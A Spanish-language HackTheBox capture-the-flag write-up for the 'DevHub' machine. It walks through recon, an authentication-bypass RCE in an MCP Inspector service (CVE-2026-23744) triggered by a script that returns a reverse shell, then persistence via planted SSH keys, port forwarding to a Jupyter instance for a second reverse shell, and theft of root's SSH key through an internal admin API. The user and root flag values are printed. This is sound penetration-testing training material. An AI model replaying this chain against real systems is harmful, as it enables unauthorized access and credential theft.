[HACKTHEBOX] MACHINE — ORION (FÁCIL) [HACKTHEBOX] MACHINE — CAP (FÁCIL) [HACKTHEBOX] MACHINE — REACTOR (FÁCIL) [HACKTHEBOX] MACHINE — DEVHUB (MEDIO)
HACKTHEBOX • WRITE-UP

DevHub.

Vulnerabilidad crítica de autenticación (CVE-2026-23744) que permite instalar un servidor MCP malicioso y obtener RCE. Movimiento lateral vía claves SSH, port forwarding a Jupyter Notebook y explotación de API interna para conseguir la clave SSH de root.

PlataformaHackTheBox
DificultadMEDIO
Vector inicialAuth bypass → servidor MCP malicioso → RCE
EscaladaMovimiento lateral (SSH / Jupyter / API) → clave SSH de root
CVEsCVE-2026-23744
Autorkeltich · KeltichCibSec
Auth bypass → MCP malicioso → RCE → Claves SSH → Port forward → Jupyter → API interna → clave SSH root
// 01

Reconocimiento

Como siempre, arrancamos con un ping ICMP para confirmar que hay conectividad con la máquina.

ping ICMP confirmando conectividad
Comprobación de conectividad con un ping.

Lanzamos un primer escaneo con Nmap para descubrir qué puertos están abiertos:

Escaneo Nmap de puertos
Nmap — barrido de puertos.
Puertos abiertos encontrados
Puertos abiertos resultantes.

Con los puertos localizados, un segundo escaneo más exhaustivo (-sCV) para identificar las versiones de los servicios que corren en ellos:

Nmap -sCV detección de versiones
Nmap — detección de servicios y versiones.
Servicios y versiones en los puertos
Servicios identificados en cada puerto.

El puerto 6274 es HTTP y sirve una web. Si visitamos la IP con ese puerto, nos lleva a la interfaz que se ve en la captura — se trata del MCP Inspector, la herramienta de desarrollo de servidores MCP:

Interfaz web en el puerto 6274 (MCP Inspector)
La web del puerto 6274.

El puerto 80, por su parte, redirige a otra página distinta: un panel.

Panel servido por el puerto 80
El panel del puerto 80.

Tras investigar sin encontrar vías evidentes en el panel, el punto débil está en la versión del servicio MCP: es vulnerable a un RCE (ejecución remota de comandos), el CVE-2026-23744, que se ve en la captura siguiente:

Versión vulnerable al RCE CVE-2026-23744
La versión del servicio delata el CVE-2026-23744.
// 02

Explotación — RCE

El CVE-2026-23744 permite saltarse la autenticación del servidor MCP y ejecutar comandos en la máquina. Para recibir la shell, primero nos ponemos a la escucha con netcat:

netcat a la escucha
netcat esperando la conexión entrante.

Con el listener preparado, lanzamos un pequeño script en Python que automatiza la explotación del CVE-2026-23744 y nos devuelve la ejecución:

Ejecución del script de explotación del CVE-2026-23744
El script dispara el RCE contra el servicio MCP.

Su sintaxis es sencilla — destino y dónde devolver la shell:

./mcpExec.py <IP:puerto de la web> <IP atacante:puerto a la escucha de nc>

Y con ello recibimos la conexión en netcat: ya tenemos acceso al sistema.

Shell recibida en netcat
Acceso al sistema conseguido.
// 03

Movimiento lateral a analyst

Comprobamos quiénes somos: el usuario mcp-dev. En su home no hay ninguna flag, así que la user flag pertenece a otro usuario y toca movernos lateralmente hacia él — analyst.

Somos mcp-dev y no hay flag en su home
Somos mcp-dev; su home no tiene flag.

Primero, una shell cómoda. La consola del RCE es tosca, así que nos montamos un acceso por SSH estable como nosotros mismos (mcp-dev). Como el usuario no tiene carpeta .ssh, la creamos y metemos nuestra clave pública en authorized_keys:

Creación del directorio .ssh para mcp-dev
Creamos .ssh en el home de mcp-dev.

Con nuestra clave pública ya cargada en la víctima, usamos la privada desde nuestra máquina atacante:

authorized_keys con nuestra clave pública
Nuestra clave pública en authorized_keys de mcp-dev.

Y entramos por SSH sin contraseña. Ojo: esto todavía somos mcp-dev; solo hemos ganado una terminal decente, no privilegios.

Acceso SSH como mcp-dev
SSH estable como mcp-dev.
Sesión SSH establecida
Sesión establecida.

Ahora sí, el salto a analyst. Mirando los procesos con ps aux | grep jupyter vemos que hay un Jupyter Notebook corriendo, y en su línea de comandos aparece un token de acceso. La clave: ese Jupyter se ejecuta como el usuario analyst, así que cualquier código que lancemos en él correrá con sus permisos. Para alcanzarlo desde fuera hacemos port forwarding por SSH:

Port forwarding por SSH hacia el servicio interno
Reenvío del puerto interno de Jupyter a nuestra máquina.
Token de Jupyter visible en ps aux
ps aux revela el token de Jupyter.

Con el puerto reenviado, en nuestro localhost aparece la interfaz de Jupyter:

Interfaz de Jupyter accesible en localhost
El servicio interno, ya accesible en local.

Iniciamos sesión con el token y llegamos a un entorno donde se puede escribir y ejecutar código — justo lo que nos interesa para una reverse shell:

Entorno de Jupyter donde ejecutar código
Entorno de ejecución de código dentro de Jupyter.

Nos ponemos a la escucha con netcat en el puerto 4447:

netcat a la escucha en el puerto 4447
Listener en el 4447 para la reverse shell.

E insertamos en Jupyter el código de una reverse shell apuntando a nuestra IP y a ese puerto 4447. Al ejecutarse dentro de Jupyter —que corre como analyst— la conexión que recibimos ya es de analyst:

Reverse shell ejecutada desde Jupyter
La reverse shell se ejecuta con los permisos de analyst.

Y en el home de analyst está la user flag:

user.txt en el home de analyst
La user flag, ya como analyst.
USER FLAG
de3861808d2332b83a11261f09d25ac5

Como la shell de la reverse es incómoda, repetimos el truco de las claves SSH para entrar como analyst con una terminal estable:

Acceso SSH estable como analyst
SSH cómodo como analyst.
Movimiento lateral a analyst completado
Movimiento lateral completado.

Conviene quedarse con por qué funcionó: el Jupyter vivía en /home/analyst/notebooks y se ejecutaba bajo el usuario analyst, de modo que el código que metimos en su celda acabó corriendo como analyst y nos dio la shell.

Jupyter ejecutándose como analyst en /home/analyst/notebooks
El Jupyter corría como analyst: esa es la causa del salto.
// 04

Escalada a root

Ya como analyst, exploramos /opt/opsmcp y encontramos un server.py. Al hacerle cat aparecen cosas muy jugosas:

server.py en /opt/opsmcp con datos sensibles
/opt/opsmcp/server.py expone un token de admin.

Hay un token de administrador y una API interna escuchando en el puerto 5000 solo en localhost. Lo confirmamos con ss -tulpn | grep 127.0.0.1:

API interna en 127.0.0.1:5000
La API solo escucha en local, en el 5000.

Al estar atada a localhost, no es accesible desde fuera: hacemos de nuevo port forwarding, esta vez del puerto 5000 y como analyst:

Port forwarding del puerto 5000 como analyst
Reenvío del 5000 a nuestra máquina.
API interna accesible en localhost:5000
La API interna, ya alcanzable en local.

Con el token de admin podemos invocar la API y pedirle que nos entregue las claves SSH del sistema:

Llamada a la API que vuelca las claves SSH
La llamada a la API devuelve material sensible.

Qué hace exactamente la petición:

La respuesta incluye la clave SSH privada de root:

Clave SSH privada de root devuelta por la API
La clave privada de root, servida por la API.

La guardamos en un archivo y la cargamos en nuestra máquina atacante (con chmod 600 para que SSH la acepte):

Carga de la clave privada de root en la máquina atacante
Preparamos la clave de root en nuestro equipo.

Y con ella entramos por SSH directamente como root:

Acceso SSH como root con la clave robada
SSH como root, sin contraseña.

Ya solo queda leer la root flag:

root.txt en el home de root
La root flag.
ROOT FLAG
62ab1decc0970a21e7b54cbe8856f54a
root@keltich:~/HackTheBox/DevHub
root@keltich:~$

COMANDOS

← Volver a Artículos